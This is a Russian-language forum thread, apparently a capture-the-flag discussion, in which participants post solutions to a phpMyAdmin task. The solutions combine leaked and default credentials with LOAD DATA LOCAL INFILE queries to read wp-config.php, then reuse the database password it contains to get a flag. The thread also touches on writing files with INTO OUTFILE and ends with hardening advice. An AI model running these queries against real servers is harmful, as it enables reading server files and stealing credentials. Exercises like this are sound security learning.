1) Находим PMA по адресу
http://task.antichat.com:10003/phpmyadmin/
2) Подбираем креды
pma
:
pmapass
3) Выполняем запрос на чтение конфига WP:
CREATE TEMPORARY TABLE temp(content text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE temp;
SELECT * FROM temp;
4) Находим в нём доступы к базе
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
5) Подключаемся через PMA и видим таблицу
wp_task
, в которой флежит флаг
51febb216a8363cf246338857349e299
↑ (https://antichat.live)
Привет, интересный таск) кто мани читает то пройдет
flag
51febb216a8363cf246338857349e299
CREATE TEMPORARY TABLE test.tempDelete (a text);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE test.tempDelete FIELDS TERMINATED BY '\n';
SELECT * FROM test.tempDelete;
нужно убрать подсказку =
http://task.antichat.com:10003/phpmyadmin/server_status_queries.php
↑ (https://antichat.live)
Привет, решение таска
После авторизации в phpmyadmin был осуществлен запрос на чтение файла wp-config.php
create temporary table new_tbl (kokoko varchar(10000));load data local infile '/var/www/html/wp-config.php' into table new_tbl fields terminated by '\n';select * from new_tbl;
Была обнаружена учетная запись task:qlwkeju8Uyqmwepok$RR с которой удалось успешно авторизоваться в phpmyadmin и найти флаг в таблице wp_task
Ответ: flag:51febb216a8363cf246338857349e299
↑ (https://antichat.live)
Привет!
task3. Флаг 51febb216a8363cf246338857349e299
Получил так:
- Читаем config.inc.php.bak, видим пароль на my
- phpmyadmin старый и позволяет делать load data local infile.
Делаем sql:
create TEMPORARY table t (x
text (http://task.antichat.com:10003/phpmyadmin/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/string-types.html)
);
load data local infile '../wp-config.php' into table t (x);
select (http://task.antichat.com:10003/phpmyadmin/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/select.html)
* from t limit 10000
Видим содержимое wp-config. Там пароль на нормальную базу. В ней флаг.
↑ (https://antichat.live)
привет!
По поводу таска. Доступ к phpmyadmin через config.inc.php.bak, там креды для подключения пользователя my.
Дальше узнаем через show grants привилегии и понимаем, что можем создавать только временные таблицы. Кроме того, видим, что phpmyadmin очень хочет обновиться и идем гуглить, что там было. находим
https://www.phpmyadmin.net/security/PMASA-2019-1
делаем составной запрос, в котором создаем временную базу и пытаемся понять, можем ли просматривать содержимое файлов. Можем, как-то так:
create temporary table fr (x text); LOAD DATA local infile "config.inc.php.bak" into table test.fr; select * from test.fr;
Читается. Дальше преодолеваем ступор и видим Вашу подсказку на форуме про то, что база вордпресса лежит здесь же, а значит, и конфигурационный файл его тоже здесь. Ищем wp-config.php на уровень выше, он успешно читается, находим в нем
define('DB_USER', 'task');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
переподключаемся с этими кредами. Видим, что права уже совсем другие, ну и флаг в базе тоже видим: 51febb216a8363cf246338857349e299
Спасибо, очень крутой таск. Долго-долго морочил голову и лишал сна) и добавил знаний по MySQL, потому что пока доперла, что надо посмотреть, из-за чего он обновляется, перековыряла кучу статей)
↑ (https://antichat.live)
flag:51febb216a8363cf246338857349e299
Тупил несколько дней, статью про LOAD DATA INFILE видел, но не допёр сразу.
Загрузил wp-config в temporary table и сделал оттуда select, получил креды к бд, и в таблице wp_task лежал флаг.
SQL запросы:
CREATE TEMPORARY TABLE phpmyadmin.test(data TEXT);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE phpmyadmin.test;
SELECT data FROM phpmyadmin.test
Креды к бд:
define('DB_NAME', 'wordpress');
define('DB_USER', 'task');
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR');
↑ (https://antichat.live)
Зашел в PMA (pma
mapass, либо my:asdn6YUTqwv из
http://task.antichat.com:10003/phpmyadmin/config.inc.php.bak
)
Сделал запрос:
CREATE TEMPORARY TABLE test (test blob);
LOAD DATA LOCAL INFILE '/var/www/html/wp-config.php' INTO TABLE test;
SELECT * FROM test
получил лог пас который юзает вп
/
** Имя пользователя MySQL */ (http://task.antichat.com:10003/phpmyadmin/tbl_get_field.php?db=phpmyadmin&table=test&where_clause=%60test%60.%60test%60+%3D+CAST%280x2f 2a2a20d098d0bcd18f20d0bfd0bed0bbd18cd0b7d0bed0b2d0 b0d182d0b5d0bbd18f204d7953514c202a2f+AS+BINARY%29&transform_key=test&sql_query=SELECT+%2A+FROM+test)
define('DB_USER', 'task'); (http://task.antichat.com:10003/phpmyadmin/tbl_get_field.php?db=phpmyadmin&table=test&where_clause=%60test%60.%60test%60+%3D+CAST%280x64 6566696e65282744425f55534552272c20277461736b27293b 0d+AS+BINARY%29&transform_key=test&sql_query=SELECT+%2A+FROM+test)
/** Пароль к базе данных MySQL */ (http://task.antichat.com:10003/phpmyadmin/tbl_get_field.php?db=phpmyadmin&table=test&where_clause=%60test%60.%60test%60+%3D+CAST%280x2f 2a2a20d09fd0b0d180d0bed0bbd18c20d0ba20d0b1d0b0d0b7 d0b520d0b4d0b0d0bdd0bdd18bd185204d7953514c202a2f+A S+BINARY%29&transform_key=test&sql_query=SELECT+%2A+FROM+test)
define('DB_PASSWORD', 'qlwkeju8Uyqmwepok$RR'); (http://task.antichat.com:10003/phpmyadmin/tbl_get_field.php?db=phpmyadmin&table=test&where_clause=%60test%60.%60test%60+%3D+CAST%280x64 6566696e65282744425f50415353574f5244272c2027716c77 6b656a75385579716d7765706f6b24525227293b0d+AS+BINA RY%29&transform_key=test&sql_query=SELECT+%2A+FROM+test)
зашел, вижу базу вп
дальше на сколько я понимаю можно крутить вертеть как угодно.
Но не обошлось без подсказок
Тот_самый_Щуп
09.02.2019, 23:38
Разминочные задания окончены, теперь готовимся к основным таскам.
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
PPS: альтернативных решений таска не найдено ни одного?
redscout
10.02.2019, 00:42
↑ (https://antichat.live/posts/4283724/)
Разминочные задания окончены, теперь готовимся к основным таскам.
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
PPS: альтернативных решений таска не найдено ни одного?
/var/www/html/ - дефолтный путь веб-сервера в никсах.
↑ (https://antichat.live/posts/4283724/)
PPS: альтернативных решений таска не найдено ни одного?
RCE в пятаке решили публично не оглашать
BabaDook
10.02.2019, 02:57
Эх... А ведь давно знал об этом https://rdot.org/forum/showthread.php?t=741
Вот что значит Skill.....
Классный таск, жаль мозга нет такое решать
п.с А так хотел хинтануть в стиле каретки.
RDot.org Дубль красава.
Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ;
Жаль, был на верном пути в какой-то момент.
Таск крутой)
↑ (https://antichat.live/posts/4283777/)
Не знал, что временная таблица будет существовать в том случае, если сделать несколько запросов через ;
Жаль, был на верном пути в какой-то момент.
Таск крутой)
Сеанс - это время, когда открыли соединение к серверу СУБД и до момента, когда коннект закрывается.
В php связь закрывается принудительно по окончании работы скрипта, если раньше не закрыли явно.
Пока работает скрипт временные таблицы существуют.
Ха, прикольно... я не знал что можно SQL запросом читать файлы... первый раз это слышу, теперь буду знать
Спасибо за таск, возьму на заметку. С временными таблицами не докрутил до конца...
И всё-таки, народ, чем лучше брутить админки и конфиг?
Есть что-то под вин или мб веб приложение?
Тот_самый_Щуп
17.02.2019, 15:32
↑ (https://antichat.live/posts/4285999/)
И всё-таки, народ, чем лучше брутить админки и конфиг?
Есть что-то под вин или мб веб приложение?
Свой скрипт написать на удобном ЯП, учесть все нюансы, и через него.
Так как известные тулзы или по заголовкам детектят (что неправильно), или давятся большим файлом в случае его нахождения.
Но таск пройти всё равно не поможет
↑ (https://antichat.live/posts/4286013/)
Свой скрипт написать на удобном ЯП, учесть все нюансы, и через него.
Так как известные тулзы или по заголовкам детектят (что неправильно), или давятся большим файлом в случае его нахождения.
Но таск пройти всё равно не поможет
Это уже не к таску вопрос, а вообще. Просто тематика схожая. Нужен сканер директорий
Поскольку мы занимаемся этичным хакингом, то должны уметь не только найти уязвимость, но и пропатчить ее.
Какие можно дать рекомендации по настройке сервера.
1) Отменить привилегию на создание временных таблиц
2) Запретить использование load data local infile
3) Использовать версию PhpMyAdmin >=4.8.5
4) Не использовать PhpMyAdmin вообще, или ограничить доступ по ИП (ну или добавить бейсик-авторизацию )
На втором пункте остановимся подробнее.
Глобальная переменная local_infileопределяет такую возможность, и по дефолту она включена.
Чтобы запретить локальное чтение в my.ini (my.cnf) в раделы [mysqld] и [mysql] надо добавить
local-infile = 0
Но нужно помнить следующие вещи:
При наличии прав Superuser настройку можно переопределить командой (прямо в ПМА)
SET GLOBAL local_infile=1;
Кроме того в php есть бага реализации mysqli_real_connect, которая игнорирует (перезаписывает) состояние переменной local-infile, если перед вызовом функции в опциях указать свое значение local_infile, например
$mysqli = mysqli_init();
$mysqli->options(MYSQLI_OPT_LOCAL_INFILE, true);
$mysqli->real_connect($host, $username, $password, $database);
Еще есть одна засада, (просто для полноты описания проблемы) команда mysqlimport с опцией --local, проигнорирует настройки и отработает аналогично разрешенной load data local infile.
Прикольный task, у меня вопрос, через базу данных можно изменять файлы или только читать?
Например если я хочу изменить файл из базы данных
var/www/html/wp-config.php
как я могу это сделать?
↑ (https://antichat.live/posts/4297259/)
Прикольный task, у меня вопрос, через базу данных можно изменять файлы или только читать?
Например если я хочу изменить файл из базы данных
var/www/html/wp-config.php
как я могу это сделать?
если права есть на запись, file_priv то можно
SELECT "" into outfile "var/www/html/wp-config"
↑ (https://antichat.live/posts/4297642/)
если права есть на запись, file_priv то можно
SELECT "" into outfile "var/www/html/wp-config"
Изменить нельзя, можно только создать новый файл.
↑ (https://antichat.live/posts/4283724/)
PS: по поводу пути /var/www/html/ не догоняю, просто взяли его из прочитанных .php скриптов, или до трюка с LOAD DATA LOCAL где то раскрытие путей обнаружили?
я так понял по решениям - лучше использовать относительный путь
load data local infile '../wp-config.php' into table ...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot